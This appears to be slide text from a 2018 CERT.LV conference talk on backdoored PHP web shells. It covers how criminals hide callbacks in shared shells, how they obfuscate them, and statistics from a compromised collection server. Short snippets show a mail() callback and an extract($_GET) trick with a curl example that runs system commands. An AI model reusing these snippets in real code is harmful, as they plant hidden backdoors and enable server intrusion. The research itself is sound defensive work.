



BUILDING AN EFFICIENT BACKDOOR DISTRIBUTION SYSTEM

Varis Teivans, Arturs Danilevics 09.10.2018
CERT.LV CyberChess - Riga, Latvia

Backdoored backdoors

- *Current focus only on PHP techniques used to hide backdoors in existing WEB-shells. Could be applicable for other languages.*
- *There are many web-shell/web-backdoor researches*
 - *Very few are looking on backdoored backdoors*
- *Some insight in the “food-chain” of Cybercriminals*

Why?

- *Techniques used to hide backdoors in web-shells could be used in legitimate applications and evade detection*
- *Collected data - emails, domain names, HTTP protocol specifics, C&C's could be used as IOC for sensor network*
- *Who is the master?*



wso-shell

[Block or report user](#)

[Overview](#)

[Repositories](#) 2

[Stars](#) 0

[Followers](#) 10

[Following](#) 0

Popular repositories

WSO

WSO SHELL , wso shell , WSO.php , wso.php , webshell , wso-shell веб-шелл , шелл , WSO2.5 , WSO2.5.1 , WSO2.php , Shell download, C99 , r57 , bypass shell , P.A.S. (php web-shell) , PPS 4.0 , Скач...

● PHP ★ 33 🍴 41

PHP-SHELL-WSO

WSO SHELL , wso shell , WSO.php , wso.php , webshell , wso-shell веб-шелл , шелл , WSO2.5 , WSO2.5.1 , WSO2.php , Shell download, C99 , r57 , bypass shell , P.A.S. (php web-shell) , PPS 4.0 , Скача...

● PHP ★ 4 🍴 4

0 contributions in the last year


```
20 //if(array_key_exists(  
  $_SERVER['SERVER_NAME']  
  @mail('mail@mail.ua',
```

- *[mail.ua](#) is owned by [mail.ru](#)*
- *You don't get to use [mail@mail.ua](#) unless you are very closely affiliated.*





Main methods

- *Static code analysis*
- *Some custom tools created during this research*
 - *deobfuscate code*
 - *detect and decompress common compression methods*
 - *extract e-mails/hostnames used for callback functionality, other “interesting” patterns*
- *Typical webshell contains functions to allow remote command and/or PHP code exec*
- *Usually some kind of obfuscation is used to avoid detection*
- *To find malicious code in a malicious code if webshell is backdoored, we need to deobfuscate it and look for functions, which can be used to send information about webshell to 3rd party*

Common obfuscation techniques

- *Multiple Base64 encode, gzinflate*
- *Hiding backdoor code in between the multiple encoding routines*
- *Evading AV's, regex search patterns and other detection methods using static data sets*

Callback

- *In most cases backdoored webshell samples used **php mail()** function to send webshell info back to “master”*
 - *Host specs, auth details, minion IP, uploaded code*
- *In recent years **php mail()** function is disabled on most servers, because of SPAM abuse*
- *Now backdoors that are sending data back to “masters” use function **file_get_contents()** and other tricks*

Why?

- *Some webshells were backdoored even with 3 different backdoors*
- *by 3 different actors - inheriting poor OpSec*
- *Older backdoors mostly used none or simple base64 encoding and mail() function*
- *Latest webshell backdoors we can find use mixed function calls and multiple layers of obfuscation*

Hiding in plain sight

clever way, that can be used to bypass webshell authentication and execute code.

```
// curl example.com/ws.php?error=system&msg=ls  
@extract ($_GET);  
@die (error($msg));
```

Structure created in a way that defines some variables and then overwrites them with extract

```
<?php  
$password="SomeSuperSecretP45w0rD";  
extract($_GET);  
echo $password;
```

```
//curl example.com/test.php?password=pwned  
pwned
```

There are no small incidents (quote:CIRCL.LU)

- *One compromised WEB page with backdoored webshell*
- *Vulnerable master of backdoored web shells*
- *Got some access to the master and found that we were not the only ones. There are at least 3 other actors with escalated privileges, persistence and collecting backdoor information constantly*
- *We observed for couple of weeks, then server went offline for many months and now it is back*
- *193 different servers were reporting their data back to their master. 4 servers from internal network*

Some additional findings..

- ***17 of backdoored servers accessed only once***
- ***Apparently some AV solutions on server-side are effective..***
- ***Response from shells that have been visited only once:***
Forbidden: a malicious file has been detected.
Detected as: Win.Trojan.Shell-49

Webshell backdoor passwords

Last 3 symbols of md5(password)	Servers
afe	100
10a	32
571	20
a1b	17
(blank)	10
51c	3
8ff	2
7c7	2
fd1	1
949	1
9d4	1
1ed	1
f28	1
8fd	1

Used all at once - one botnet

Green passwords cracked, publicly avail

TOP TLD's

TLD	count
com	106
rs	12
net	7
org	7
au	5
cz	4
ru	4
pl	3
nl	3
es	3
in	3
pt	2
de	2
it	2
...	1



Returns to webshell

- ***Not 100% accurate, because it's based on data that we collected couple of weeks***
- ***In most cases, attackers don't reuse webshells***

days between	Last return
0	169
1	6
2	5
5	2
7	3
8	4
9	2
12	1

Conclusion

- *Code reuse is inevitable also for criminals however, we should learn from these lessons NOT to become a minion*
- *Apparently some AV solutions on server-side are effective..*
- *This insight is just a very top of the iceberg*
- *We shared the collected data with CERT community*
 - *Every corresponding CERT is notified*

Thoughts beyond this research...

- *Code reuse, libs, plugins, dependencies*
- *Maintenance and supply chain of these plugins*
- *Code repositories, GitHub ...*
- *Commercial plugins and themes VS Pirated*
- *Always evaluate the trustworthiness of supplier*

<https://www.wordfence.com/blog/2017/12/plugin-backdoor-supply-chain/>



Thank you!

<https://www.cert.lv>
varis.teivans@cert.lv

Varis Teivans